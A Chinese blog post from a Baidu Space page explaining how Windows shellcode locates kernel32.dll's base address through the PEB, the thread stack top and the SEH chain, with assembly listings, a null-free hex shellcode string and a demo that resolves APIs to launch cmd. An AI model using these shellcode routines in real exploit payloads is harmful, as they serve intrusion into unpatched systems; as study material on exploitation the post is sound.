百度空间 | 百度首页 
               
 
查看文章
 
WIN下获取kernel基址的shellcode探讨
2007-10-10 15:21
gz1X [gz1x(at)tom(dot)com]

2005.6.30

[什么是shellcode]
———————————
Shellcode是一个攻击程序(Exploit)的核心代码,能够在溢出后改变系统的正常流程,取得系统的控制权,是一些汇编代码抽取成的16进制码;


[经典溢出攻击流程]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress()函数地址;
3. 查找其它API函数地址;
4. CreateProcess();
5. 远程连接。

我们都知道WINDOWS的系统功能不像UNIX的系统调用那样实现,由于WINDOWS版本的不断更新,使得系统调用对SHELLCODE几乎起不到作用。
但是WINDOWS是靠DLL动态链接库来实现,这就是说,如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址,我们就可以调用WINDOWS下的所有函数了。
所以我们需要对KERNEL32.DLL进行地址定位,这也是本文的目的。


[获取KERNEL地址的方法]
———————————
1.通过PEB获取;
2.通过TOPSTACK-TEB获取;
3.通过SEH获取;


[第三方工具获取基址]
———————————
为了方便审核和对比结果,我们用MASM提供的dumpbin分析本地kernel32.dll的加载地址。如下:

C:\WINDOWS\system32>dumpbin /headers kernel32.dll


       //...此处省略

看OPTIONAL HEADER VALUES里的7C800000 image base,其中7C800000即为本地kernel32.dll的加载地址。
注意是本地的加载地址,在远程目标机器上,我们需要额外的技巧来实现kernel32.dll地址的查找,即PEB,SEH等方法。
当然,为了简单,你也可以直接用Windbg加载一个类似noteapad的可执行程序,ModLoad里很清晰地给出了kernel32.dll的地址。


[PEB]
———————————
获取KERNEL地址最有效的方法就是通过PEB实现,即:PEB kernel base location。
下面是一个比较常见的利用PEB获取kernel32.dll地址的shellcode,31字节。

————————————————
/*程序1                                              */
004045F4 > 6A 30           PUSH 30
004045F6     59               POP ECX
004045F7     64:8B09         MOV ECX,DWORD PTR FS:[ECX]
004045FA     85C9           TEST ECX,ECX
004045FC     78 0C           JS SHORT OllyTest.0040460A
004045FE     8B49 0C         MOV ECX,DWORD PTR DS:[ECX+C]
00404601     8B71 1C         MOV ESI,DWORD PTR DS:[ECX+1C]
00404604     AD               LODS DWORD PTR DS:[ESI]
00404605     8B48 08         MOV ECX,DWORD PTR DS:[EAX+8]
00404608     EB 09           JMP SHORT OllyTest.00404613
0040460A     8B49 34         MOV ECX,DWORD PTR DS:[ECX+34]
0040460D     8B49 7C         MOV ECX,DWORD PTR DS:[ECX+7C]
00404610     8B49 3C         MOV ECX,DWORD PTR DS:[ECX+3C]
————————————————

现在来分析下,PEB方法查找流程如下:
(1) FS寄存器 -> TEB结构;
(2) TEB+0x30 -> PEB结构;
(3) PEB+0x0c -> PEB_LDR_DATA;
(4) PEB_LDR_DATA+0x1c -> Ntdll.dll;
(5) Ntdll.dll+0x08 -> Kernel32.dll。
在2000以后的系统中,实际上实现的方法只要很短的几行:
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov ebx,[eax+08h]
而在程序1中涉及了9X系统,所以还有相关的判断跳转。

首先,我们来看看TEB和PEB的结构,利用WINDBG,调试如下:

0:000> dt ntdll!_TEB
     +0x000 NtTib              : _NT_TIB
     +0x01c EnvironmentPointer : Ptr32 Void
     +0x020 ClientId           : _CLIENT_ID
     +0x028 ActiveRpcHandle    : Ptr32 Void
     +0x02c ThreadLocalStoragePointer : Ptr32 Void
     +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
     +0x034 LastErrorValue     : Uint4B
     +0x038 CountOfOwnedCriticalSections : Uint4B
     +0x03c CsrClientThread    : Ptr32 Void
     +0x040 Win32ThreadInfo    : Ptr32 Void
     ...//此处省略
     +0xfac CurrentTransactionHandle : Ptr32 Void
     +0xfb0 ActiveFrame        : Ptr32 _TEB_ACTIVE_FRAME
     +0xfb4 SafeThunkCall      : UChar
     +0xfb5 BooleanSpare       : [3] UChar


0:000> dt -v -r ntdll!_PEB
struct _PEB, 65 elements, 0x210 bytes
     +0x000 InheritedAddressSpace : UChar
     +0x001 ReadImageFileExecOptions : UChar
     +0x002 BeingDebugged      : UChar
     +0x003 SpareBool          : UChar
     +0x004 Mutant             : Ptr32 to Void
     +0x008 ImageBaseAddress : Ptr32 to Void
     +0x00c Ldr                : Ptr32 to struct _PEB_LDR_DATA, 7 elements, 0x28 bytes
        +0x000 Length             : Uint4B
        +0x004 Initialized        : UChar
        +0x008 SsHandle           : Ptr32 to Void
        +0x00c InLoadOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes
           +0x000 Flink              : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
           +0x004 Blink              : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
        +0x014 InMemoryOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes
           +0x000 Flink              : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
           +0x004 Blink              : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
        +0x01c InInitializationOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes
           +0x000 Flink              : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
           +0x004 Blink              : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
        +0x024 EntryInProgress    : Ptr32 to Void
     +0x010 ProcessParameters : Ptr32 to struct _RTL_USER_PROCESS_PARAMETERS, 28 elements, 0x290 bytes
        +0x000 MaximumLength      : Uint4B
        +0x004 Length             : Uint4B
        +0x008 Flags              : Uint4B
        +0x00c DebugFlags         : Uint4B
        +0x010 ConsoleHandle      : Ptr32 to Void
        +0x014 ConsoleFlags       : Uint4B
        +0x018 StandardInput      : Ptr32 to Void
        +0x01c StandardOutput     : Ptr32 to Void
        +0x020 StandardError      : Ptr32 to Void
      ... //此处省略
     +0x1f8 ActivationContextData : Ptr32 to Void
     +0x1fc ProcessAssemblyStorageMap : Ptr32 to Void
     +0x200 SystemDefaultActivationContextData : Ptr32 to Void
     +0x204 SystemAssemblyStorageMap : Ptr32 to Void
     +0x208 MinimumStackCommit : Uint4B


再结合[程序1],有:

PUSH 30
POP ECX
这句很简单,给ECX赋值30。


MOV ECX,DWORD PTR FS:[ECX]
FS:0指向TEB,偏移30H的结果是指向PEB。


TEST ECX,ECX
JS SHORT OllyTest.0040460A
测试ECX,进行9X和NT的判断,符号位置位(即test结果为负)则认定为9X系统,进行短跳转。否则为2000/XP/2003系列,接着往下走。


MOV ECX,DWORD PTR DS:[ECX+C]
MOV ESI,DWORD PTR DS:[ECX+1C]
LODS DWORD PTR DS:[ESI]
MOV ECX,DWORD PTR DS:[EAX+8]
JMP SHORT OllyTest.00404613
DS:[ECX+C]指向了PEB_LDR_DATA结构(此结构作用:枚举当前进程空间中的模块),[ECX+1C]指向InitializationOrderModuleList结构,
这个结构里偏移8H就是kernel32.dll的相关。 因为是在NT下实现,所以找到后直接JMP掉9X的处理过程。


MOV ECX,DWORD PTR DS:[ECX+34]
MOV ECX,DWORD PTR DS:[ECX+7C]
MOV ECX,DWORD PTR DS:[ECX+3C]
WIN9X下的实现。

由于shellcode中不能出现空字符,所以需要采用一些手段来进行赋值等操作,程序1和下面的程序2都采用了一些手法来到达目的。


[PEB]扩展
————————
注释部分演示了另一种方法,实际上就是头几句用了个技巧,减少了字节数。

————————————————  
/*程序2               //程序注释采用C语言风格*/
xor eax, eax          //另外一种方法
xor edx, edx          //来自milw0rm
mov dl, 30h           //字节数减少了
mov eax, fs:[edx]     //后面相同
test eax, eax         //add     eax, fs:[eax+30h]
js for9x              //js for9x
      
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd         
mov eax, [eax+08h]
jmp short skip

for9x:   
mov eax, [eax+34h]
lea eax, [eax+7Ch]
mov eax, [eax+3Ch]

skip:
————————————————  

这是比较保守的写法了,但是也考虑了0X00的问题。
这个抽成的shellcode字节数应该比程序1那个长,35字节;
光看开头的几句:
xor eax, eax
xor edx, edx
mov dl, 30h
就可以知道字节数不少,抽出来16进制是:
\x31\xC0
\x31\xD2
\xB2\x30
6个字节,和程序1的那个:
6A 30           PUSH 30
59             POP ECX
相差了3个字节...
完整的16进制码如下:
"\x31\xC0"                    /* xor eax, eax         */
"\x31\xD2"                    /* xor edx, edx         */
"\xB2\x30"                    /* mov dl, 30h          */
"\x64\x8B\x02"                /* mov eax, [fs:edx]    */     
"\x85\xC0"                    /* test eax, eax        */
"\x78\xC0"                    /* js 0Ch               */
"\x8B\x40\x0C"                /* mov eax, [eax+0Ch] */      
"\x8B\x70\x1C"                /* mov esi, [eax+1Ch] */
"\xAD"                        /* lodsd                */
"\x8B\x40\x08"                /* mov eax, [eax+08h] */
"\xEB\x07"                    /* jmp short 09h        */
"\x8B\x40\x34"                /* mov eax, [eax+34h] */     
"\x8D\x40\x7C"                /* lea eax, [eax+7Ch] */
"\x8D\x40\x3C"                /* mov eax, [eax+3Ch] */


[TOPSTACK-TEB]
————————
本地线程的堆栈里偏移1CH(或者18H)的指针指向kernel32.dll内部,而fs:[0x18]指向当前线程而且往里四个字节指向线程栈,
结合堆栈的top pointer进行对齐遍历,找到PE文件头(DLL的文件格式)的“MZ”MSDOS标志,就拿到了kernel32.dll基址。

先从Windbg里查看一下:

0:000> dt -v -r _NT_TIB $teb
struct _NT_TIB, 8 elements, 0x1c bytes
     +0x000 ExceptionList      : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes
        +0x000 Next               : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes
           +0x000 Next               : ????
           +0x004 Handler            : ????
        +0x004 Handler            : 0x7c92ee18          _EXCEPTION_DISPOSITION    ntdll!_except_handler3+0
     +0x004 StackBase          : 0x00140000
     +0x008 StackLimit         : 0x0013e000
     +0x00c SubSystemTib       : (null)
     +0x010 FiberData          : 0x00001e00
     +0x010 Version            : 0x1e00
     +0x014 ArbitraryUserPointer : (null)
     +0x018 Self               : 0x7ffdf000 struct _NT_TIB, 8 elements, 0x1c bytes
        +0x000 ExceptionList      : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes
           +0x000 Next               : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes
           +0x004 Handler            : 0x7c92ee18             _EXCEPTION_DISPOSITION    ntdll!_except_handler3+0
        +0x004 StackBase          : 0x00140000
        +0x008 StackLimit         : 0x0013e000
        +0x00c SubSystemTib       : (null)
        +0x010 FiberData          : 0x00001e00
        +0x010 Version            : 0x1e00
        +0x014 ArbitraryUserPointer : (null)
        +0x018 Self               : 0x7ffdf000 struct _NT_TIB

其中+0x018 Self是一个指向TEB自己的指针,StackBase指向本线程堆栈的原点,即地址最高处,这里是0x140000,
而StackLimit则指向堆栈所在区间的下部边界,即地址最低处.

————————————————  
/*程序3                         */
xor esi, esi
mov esi, fs:[esi + 0x18]       //TEB
mov eax, [esi+4]               //这个是需要的栈顶StackBase,top of the stack
mov eax, [eax - 0x1c]          //指向Kernel32.dll内部
       //mov eax, [eax - 0x18]
find_kernel32_base:
dec eax                        //开始遍历页
xor ax, ax        
cmp word ptr [eax], 0x5a4d     //"MZ"
jne find_kernel32_base         //循环遍历,找到则返回eax
————————————————  

为了方便测试,我写了一个PEB/TEB/SEH通用测试例程:

/*  
*    程序4
*    SEH method test for Windows 9x/NT/2k/XP
*    asm return eax contained kernel32.dll base address.
*    print kernel base address in the console.
*/
__inline __declspec(naked) unsigned int GetKernel32()
{
    __asm
{
       push esi
push ecx

/*    you should replace the follow section if you want to test the others */
xor esi, esi
mov esi, fs:[esi + 0x18]      
mov eax, [esi+4]             
mov eax, [eax - 0x1c]        
   
find_kernel32_base:
dec eax                     
xor ax, ax        
cmp word ptr [eax], 0x5a4d  
jne find_kernel32_base      
/* Above is the section needed to replace */

pop ecx
pop esi
ret
}
}

void main(void)
{
printf("Kernel base is located at: 0x%0.8X\n",GetKernel32());
}

注意这几句:
1. mov eax, [eax - 0x1c]
一般地,它将指向kernel32.dll内部,你可以在编译器里单步跟踪调试。其中,eax值为StackBase(0x140000),计算eax-0x1c可得0x0013FFE4;
在我的机器上0x0013FFE4为0x7C839AA8,0x0013FFE8为7C816FE0。
此时栈的分布大致如下:
    | ...        |
      0013FFE0      | FFFFFFFF | SEH链尾部      //哦?有疑问吗?SEH吗?
      0013FFE4 | 7C839AA8 | SEH处理程序
      0013FFE8      | 7C816FE0 | kernel32.7C816FE0
    | 00000000 |
    | ...        |

2. dec eax                      
     xor ax, ax
这两句的作用就是实现页遍历,单步跟踪结果如下:
0x7C839AA8 -> 0x7C839AA7 -> 0x7C830000 -> 0x7C82FFFF -> 0x7C820000 -> ... -> 0x7C800000

但是,在不同环境下的堆栈不同,如果偏移1C(或18)不指向kernel32.dll内部,将导致获取地址失败,当然这种情况很少发生,
至少我现在还没遇到过;另一个几率很小的失败现象是64K的页边界有"MZ"这样的特征字符出现,这样可能会误导得到错误的地址。



[SEH]
———————————
WINOWS另一个重要的也是未公开的技术(虽然现在不是什么新技术了)就是SEH(Structured Exception Handling)。
默认的异常处理(注意是默认的,如果你自己重写了异常处理,卸掉了默认的处理,那么此方法就行不通了。但一般没人这么做...),
它指向kernel32.dll内部,我们要做的就是顺藤摸瓜。
思路是这样的:进程里FS:[0]指向的是SEH链的最内层,为了找到顶层异常处理,我们向外遍历找到prev成员等于0xffffffff的EXCEPTION_REGISTER结构,
该结构的handler值就是系统默认的处理例程;这里有个细节,DLL的装载是64K边界对齐的,所以需要利用遍历到的指向最后的异常处理的指针进行页查找,
再结合PE文件MSDOS标志部分,只要在每个64K边界查找“MZ”字符就能找到kernel32.dll基址。

————————————————  
/*程序5                    */
xor ecx, ecx
mov esi, fs:[ecx]

find_seh:
mov eax,[esi]                
mov esi, eax
cmp [eax], ecx
jns find_seh               //0xffffffff
mov eax, [eax + 0x04]      //handler

find_kernel32_base:
dec eax
xor ax, ax
cmp word ptr [eax], 0x5a4d
jne find_kernel32_base
————————————————

我们将[程序5]套用[程序4]进行跟踪调试,handler指向的地址为0x7C839AA8,页遍历的结果和[程序4]相同。
0x7C839AA8这个地址处应该是最后的异常处理函数,我们可以从内存里看到:

7C839AA8    55 8B EC 83 EC 08 53 56    U嬱冹.SV
7C839AB0    57 55 FC 8B 5D 0C 8B 45    WU鼖].婨
7C839AB8    08 F7 40 04 06 00 00 00    .鰼.....
7C839AC0    0F 85 AB 00 00 00 89 45    .叓...塃
7C839AC8    F8 8B 45 10 89 45 FC 8D    鴭E.塃鼚
7C839AD0    45 F8 89 43 FC 8B 73 0C    E鴫C鼖s.
7C839AD8    8B 7B 08 53 E8 7A 5E 04    媨.S鑪^.
7C839AE0    00 83 C4 04 0B C0 74 7B    .兡..纓{
... //此处省略
7C839B78    E8 62 43 FD FF 83 C4 08    鑒C..兡.
7C839B80    5D B8 01 00 00 00 5D 5F    ].....]_
7C839B88    5E 5B 8B E5 5D C3

很经典的函数类型汇编代码:
55      push    ebp
     8b ec     mov    ebp, esp
     83 ec 08    sub    esp, 08
     53     push    ebx
     56     push    esi
     57     push    edi
...
5f     pop    edi
     5e     pop    esi
    5b     pop    ebx
     8b e5     mov    esp, ebp
     5d     pop    ebp
     c3     ret  

这样也解开了TOPSTACK里的疑惑,回头去看栈里的内容,就知道为什么我会注释上SEH的字样了,其实栈里保存的也是默认的异常处理函数地址。
从根源上来说,TOPSTACK和SEH应该是属于一类方法,不过既然实现上有不同,我们也暂且划分成两类吧。



[shell测试程序]
———————————
获取KERNEL地址的方法介绍的差不多了,下面演示下结合PE结构获取API的方法得到cmd shell的例程。


/*   
*    程序6
*    Get the cmd shell.
*    Coded by gz1x.
*/
unsigned int GetFunc(unsigned int ImageBase,const char*FuncName,int flen)
{
__asm
{  
    mov eax,ImageBase
    mov eax,[eax+0x3c]  
    add eax,ImageBase    //PE header
    mov eax,[eax+0x78]         //Data_Directory
    add eax,ImageBase   
    mov esi,eax     //IMAGE_EXPORT_DIRECTORY
    mov ecx,[eax+0x18]    //NumberOfName
    mov eax,[eax+0x20]    //AddressOfName
    add eax,ImageBase
    mov ebx,eax
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb     //compare function
    pop esi      //pop esi => IMAGE_EXPORT_DIRECTORY
    je    Found
    inc edx
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop  
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]    //AddressOfFunction
    add eax,ImageBase  
    shl edx,2
    add eax,edx
    mov eax,[eax]   
    add eax,ImageBase    //eax return
}
}

__inline __declspec(naked) unsigned int GetKernel32()
{
__asm
{
        push esi
    push ecx
    /*    you should replace the follow section if you want to test the others */
    xor eax, eax        
    xor esi, esi
    mov esi, fs:[esi + 0x18]     
    mov eax, [esi+4]                       
    mov eax, [eax - 0x1c]        
find_kernel32_base:
    dec eax                      
    xor ax, ax
    cmp word ptr [eax], 0x5a4d   
    jne find_kernel32_base       
    /* Above is the section needed to replace */
    pop ecx
    pop esi
    ret
}
}

void main(void)
{
char risefunc[]="cmd",dll[]="msvcrt",func[]="system";
unsigned int loadfun;
loadfun=GetFunc(GetKernel32(),"LoadLibraryA",12);

__asm
{
    lea eax,dll
    push eax
    call dword ptr loadfun     //LoadLibraryA("msvcrt");
    lea ebx,func
    push 0x06
    push ebx
    push eax
    call GetFunc              //GetFunc([msvcrt],"system",6);
    mov ebx,eax
    add esp,0x04
    lea eax,risefunc
    push eax
    call ebx    //system("cmd");
}
}

其中,GetFunc函数通过PE文件头结构得到输出表的API地址,GetKernel32函数是在介绍SEH时给出的获取KERNEL地址的方法。
main函数里为了测试方便,加载了msvcrt.dll,获取其中的system函数,从而得到cmd窗口。


类别:搞点技术 | 浏览() | 评论 (7)
 
最近读者:
 
网友评论:
1
2007-12-06 21:53 | 回复
学习~~~~
 
2
2007-12-08 21:46 | 回复
coooooooool
 
3
2008-01-05 17:52 | 回复
始终感觉这篇不错! ^_^ 致敬!
 
4
2008-03-18 13:37 | 回复
b!
 
5
2008-06-12 19:27 | 回复
very cool
 
6
2008-12-06 08:58 | 回复
这篇文章值得好好地研读和学习,支持了
 
7
2009-04-02 00:51 | 回复
Very good
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu